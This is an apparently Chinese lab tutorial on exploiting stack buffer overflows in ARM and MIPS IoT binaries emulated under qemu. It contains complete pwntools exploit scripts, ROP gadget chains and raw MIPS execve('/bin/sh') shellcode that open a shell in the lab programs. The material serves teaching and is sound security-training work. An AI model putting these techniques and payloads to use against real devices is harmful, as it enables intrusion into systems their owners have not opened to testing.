学会ARM栈溢出漏洞的原理与利用方式
学会MIPS栈溢出漏洞的原理与利用方式
操作机:Ubuntu 20.04【用户名:user 密码:user】
qemu
gdb-multiarch
python
pwntools
IDA Pro
IoT 设备中可能存在各种漏洞,总结来说,这些漏洞可以被大体划分为两大类,一类是内存破坏型漏洞,另一类则是逻辑漏洞。而在内存破坏型漏洞中,最常见的就是栈溢出漏洞。IoT 设备一般都采用非X86的架构,其中常见的就是 ARM 架构和 MIPS 架构。栈溢出漏洞的利用和ROP的构造,都与相应架构的栈结构有直接关系。
在没有任何保护机制的情况下,要利用栈溢出只需将返回地址覆盖为跳转到栈的指令地址,并在栈上后面添加shellcode就可以执行。但一般来说目前IoT设备内都有NX缓解机制,数据所在的内存页被标记为不可执行,此时再执行shellcode就会抛出异常。因此需要利用 ROP 技术(Return-Oriented Programming,返回导向编程),通过扫描二进制程序文件,提取出程序内部可用的gadget片段(通常以返回指令结尾),然后将这些gadget根据所需要的功能进行组合,达到无须调用任何函数即可执行任意代码的目的。
ARM栈溢出漏洞逆向分析
ARM ROP构造与调试
MIPS栈溢出漏洞逆向分析
MIPS ROP构造与调试
ARM栈溢出漏洞逆向分析
进入 ~/Desktop/experiment3/armrop 文件夹,通过 file 命令查看存在漏洞的实验程序 armrop 的架构为 ARM架构,并且为静态编译的程序。
通过命令 qemu-arm ./armrop,利用 qemu 模拟运行该程序,大致了解程序的功能和逻辑,便于进一步逆向分析。
在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,通过 IDA 加载将要分析的漏洞程序 armrop
通过 IDA 逆向分析后,可以发现程序的主要功能是不断输出字典中的字串,并等待用户输入字串,然后将输入的字串和已经输出的字串进行比较。不难发现栈溢出漏洞位置在函数 sub_8D24,且溢出长度为 112,即输入字符超过 112 之后,就可以覆盖到栈上保存pc寄存器值的位置。
通过 checksec 命令可以查看该程序开启的保护,发现开启了 NX 保护,堆栈不可执行,所以不能直接在栈上写 shellcode 并跳转执行。
这里通过 ROP 的方式进行利用,按照 ARM 汇编的特点,为了调用函数system(“/bin/sh”),需要找到控制 R0寄存器的gadget,并找到程序中"/bin/sh"字符串的地址和system函数的地址。可以依次通过如下命令找到相应的 gadget 和 "/bin/sh"字符串的地址。
$ ROPgadget --binary ./armrop --only “pop|ret”
$ ROPgadget --binary ./armrop --string “/bin/sh”
程序为静态编译,所以system函数还在程序中,通过逆向分析,可以确定该函数位置为 0x110B4。
于是,按照如下 exp.py 构造 ROP。
from pwn import *
context.log_level = "debug"
# io = process(["qemu-arm", "-g", "1234", "./armrop"])
io = process(["qemu-arm", "./armrop"])
# pause()
io.sendafter("quit\n", "\n")
io.readline()
# 0x00020904 : pop {r0, r4, pc}
# 0x0006c384 : /bin/sh
payload = 'A' * 112 + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
io.sendlineafter("\n", payload)
io.interactive()
运行之后,可以拿到 shell。
另外,只需要将 exp.py 中的 io 部分代码修改如下,就可以利用 gdb-multiarch调试程序。
io = process(["qemu-arm", "-g", "1234", "./armrop"])
# io = process(["qemu-arm", "./armrop"])
在一个终端内运行 exp.py 脚本;在另一个终端中启动输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 armrop 程序。
gdb-peda$ set architecture arm
gdb-peda$ target remote :1234
之后在 gdb 中利用如下命令,添加从漏洞函数返回前指令地址的断点,并继续运行。
gdb-peda$ b *0x8DE8
gdb-peda$ c
再次断在 0x8DE8 时,利用x/5i $pc查看将要执行的汇编指令,利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。
进入 ~/Desktop/experiment3/mipsrop 文件夹,通过 file 命令查看存在漏洞的实验程序 stack_bof 的架构为 MIPS 架构,并且为动态编译的程序,说明运行需要动态链接库,其相关动态链接库在lib文件夹中。
通过命令 qemu-mipsel -L ./ ./stack_bof 任意参数,利用 qemu 模拟运行该程序,大致了解程序的功能和逻辑,便于进一步逆向分析,其中 -L 指定的就是动态链接库的路径。
在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,通过 IDA 加载将要分析的漏洞程序 stack_bof
通过 IDA 逆向分析后,可以发现程序的主要功能是输出任意参数字符串。不难发现栈溢出漏洞位置在函数 main,且溢出长度为 508,即输入字符超过 508 之后,就可以覆盖到栈上保存ra寄存器值的位置。
15
MIPS ROP构造与调试
通过 checksec 命令可以查看该程序开启的保护,发现程序没有开启任何保护,因此可以直接在栈上写 shellcode 并设法跳转执行。
由于 MIPS 具有指令流水的特点,为了使得指令刷新到在栈上写的 shellcode,这里还需要先通过 ROP 调用sleep函数,然后再利用ROP跳转到栈上执行 shellcode。为了寻找合适的 gadget,需要使用 IDA 的 mipsrop插件。由于程序是动态编译,所以程序本身的gadget较少,因此选择去其动态链接库中寻找可利用的gadget。利用 IDA 打开 ~/Desktop/experiment3/mipsrop/lib/libc.so.6。
先选择 mips rop gadgets 选项初始化该插件。
然后在 IDA 的python命令框中依次输入如下命令,寻找 exp.py 对应的合适 gadget。
# Call sleep
mipsrop.find("li $a0, 1")
mipsrop.tail()
mipsrop.find("mov $t9, $s2")
# Jmp shellcode
mipsrop.stackfinder()
mipsrop.find("move $t9, $a1")
另外,由于使用了动态链接库中的 gadget ,还要确定stack_bof加载动态链接库libc.so.6的基地址。
在一个终端中输入 qemu-mipsel -L ./ -g 1234 ./stack_bof AAAAA
在另一个终端中输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令
gdb-peda$ set architecture mips
gdb-peda$ target remote :1234
gdb-peda$ b *0x400944
gdb-peda$ c
gdb-peda$ x/wx 0x411064
将得到的值减去 0x68210 ,结果就是libc.so.6的基地址。
于是,按照如下 exp.py 构造 ROP。
from pwn import *
# context.log_level = 'debug'
libc_base = 0x7f62e000
set_a0_addr = 0x124474
# .text:00124474 move $t9, $s1
# .text:00124478 jalr $t9 ; close
# .text:0012447C li $a0, 1
set_s1_addr = 0xAC71C
# .text:000AC71C lw $ra, 60($sp)
# .text:000AC720
# .text:000AC720 loc_AC720: # CODE XREF: readdir+18C
# .text:000AC720 move $v0, $s0
# .text:000AC724 lw $s6, 56($sp)
# .text:000AC728 lw $s5, 52($sp)
# .text:000AC72C lw $s4, 48($sp)
# .text:000AC730 lw $s3, 44($sp)
# .text:000AC734 lw $s2, 40($sp)
# .text:000AC738 lw $s1, 36($sp)
# .text:000AC73C lw $s0, 32($sp)
# .text:000AC740 jr $ra
# .text:000AC744 addiu $sp, 64
jr_t9_jr_ra = 0x8F3A4
# .text:0008F3A4 move $t9, $s2
# .text:0008F3A8 jalr $t9 ; uselocale
# .text:0008F3AC move $s0, $v0
# .text:0008F3B0 lw $ra, 52($sp)
# .text:0008F3B4 move $v0, $s0
# .text:0008F3B8 lw $s3, 48($sp)
# .text:0008F3BC lw $s2, 44($sp)
# .text:0008F3C0 lw $s1, 40($sp)
# .text:0008F3C4 lw $s0, 36($sp)
# .text:0008F3C8 jr $ra
# .text:0008F3CC addiu $sp, 0x38
addiu_a1_sp = 0xF60D4
# .text:000F60D4 addiu $a1, $sp, 24
# .text:000F60D8 move $t9, $s3
# .text:000F60DC jalr $t9
jr_a1 = 0x11C68C
# .text:0011C68C move $t9, $a1
# .text:0011C690 move $a1, $a0
# .text:0011C694 jalr $t9
usleep = 0xEA810
# sleep = 0xB2600
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu $v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
pay = ''
pay += 'a'*508
pay += p32(set_s1_addr+libc_base)
pay += 'b'*32
pay += '0000' #s0
pay += p32(jr_t9_jr_ra+libc_base) #s1
pay += p32(usleep+libc_base) #s2
pay += '3333' #s3
pay += '4444' #s4
pay += '5555' #s5
pay += '6666' #s6
pay += p32(set_a0_addr+libc_base) #ra
pay += 'c'*48
pay += p32(jr_a1+libc_base) #s3
pay += p32(addiu_a1_sp+libc_base) #ra
pay += 'd'*24
pay += shellcode
# p = process(['qemu-mipsel', '-L', './', '-g', '1234','./stack_bof', pay])
p = process(['qemu-mipsel', '-L', './', './stack_bof',pay])
# pause()
p.interactive()
运行之后,可以拿到 shell。
另外,只需要将 exp.py 中的 io 部分代码修改如下,就可以利用 gdb-multiarch调试程序。
p = process(['qemu-mipsel', '-L', './', '-g', '1234','./stack_bof', pay])
# p = process(['qemu-mipsel', '-L', './', './stack_bof',pay])
在一个终端内运行 exp.py 脚本;在另一个终端中启动输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 stack_bof程序。
gdb-peda$ set architecture mips
gdb-peda$ target remote :1234
之后在 gdb 中利用如下命令,添加从漏洞函数返回前指令地址的断点,并继续运行。
gdb-peda$ b *0x4009A4
gdb-peda$ c
再次断在 0x4009A4 时,利用x/5i $pc查看将要执行的汇编指令,利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。